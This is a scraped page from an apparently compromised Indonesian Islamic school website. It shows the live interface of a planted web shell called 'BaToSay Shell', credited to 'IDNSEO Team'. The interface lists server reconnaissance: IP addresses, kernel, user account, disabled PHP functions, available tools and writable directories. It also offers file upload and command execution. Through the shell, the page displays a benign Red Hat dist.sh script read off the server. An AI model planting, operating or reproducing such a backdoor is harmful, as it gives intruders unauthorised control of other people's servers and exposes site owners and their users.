Pondok Pesantren Tahfizul Qur'an
Butuh bantuan?
BaToSay Shell
BATOSAY Shell
Server IP : 45.126.43.27  /  Your IP : 3.133.151.220
Web Server : LiteSpeed
System : Linux serv02.awandns.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : annurindonesia ( 1064)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,dl,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/rpm/redhat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /usr/lib/rpm/redhat/dist.sh
#!/bin/bash
# dist.sh
# Author: Tom "spot" Callaway <tcallawa@redhat.com>
# License: GPL
# This is a script to output the value for the %{dist}
# tag. The dist tag takes the following format: .$type$num
# Where $type is one of: el, fc, rh
# (for RHEL, Fedora Core, and RHL, respectively)
# And $num is the version number of the distribution.
# NOTE: We can't detect Rawhide or Fedora Test builds properly.
# If we successfully detect the version number, we output the
# dist tag. Otherwise, we exit with no output.

RELEASEFILE=/etc/redhat-release

function check_num {
    MAINVER=`cut -d "(" -f 1 < $RELEASEFILE | \
	sed -e "s/[^0-9.]//g" -e "s/$//g" | cut -d "." -f 1`

    echo $MAINVER | grep -q '[0-9]' && echo $MAINVER
}

function check_rhl {
    grep -q "Red Hat Linux" $RELEASEFILE && ! grep -q "Advanced" $RELEASEFILE && echo $DISTNUM
}

function check_rhel {
    egrep -q "(Enterprise|Advanced|CloudLinux)" $RELEASEFILE && echo $DISTNUM
}

function check_fedora {
    grep -q Fedora $RELEASEFILE && echo $DISTNUM
}

DISTNUM=`check_num`
DISTFC=`check_fedora`
DISTRHL=`check_rhl`
DISTRHEL=`check_rhel`
if [ -n "$DISTNUM" ]; then
    if [ -n "$DISTFC" ]; then
	DISTTYPE=fc
    elif [ -n "$DISTRHEL" ]; then
	DISTTYPE=el
    elif [ -n "$DISTRHL" ]; then
	DISTTYPE=rhl
    fi
fi
[ -n "$DISTTYPE" -a -n "$DISTNUM" ] && DISTTAG=".${DISTTYPE}${DISTNUM}"

case "$1" in
    --el) echo -n "$DISTRHEL" ;;
    --fc) echo -n "$DISTFC" ;;
    --rhl) echo -n "$DISTRHL" ;;
    --distnum) echo -n "$DISTNUM" ;;
    --disttype) echo -n "$DISTTYPE" ;;
    --help)
	printf "Usage: $0 [OPTIONS]\n"
	printf " Default mode is --dist. Possible options:\n"
	printf " --el\t\tfor RHEL version (if RHEL)\n"
	printf " --fc\t\tfor Fedora version (if Fedora)\n"
	printf " --rhl\t\tfor RHL version (if RHL)\n"
	printf " --dist\t\tfor distribution tag\n"
	printf " --distnum\tfor distribution number (major)\n"
	printf " --disttype\tfor distribution type\n" ;;
    *) echo -n "$DISTTAG" ;;
esac

Batosay - 2023
IDNSEO Team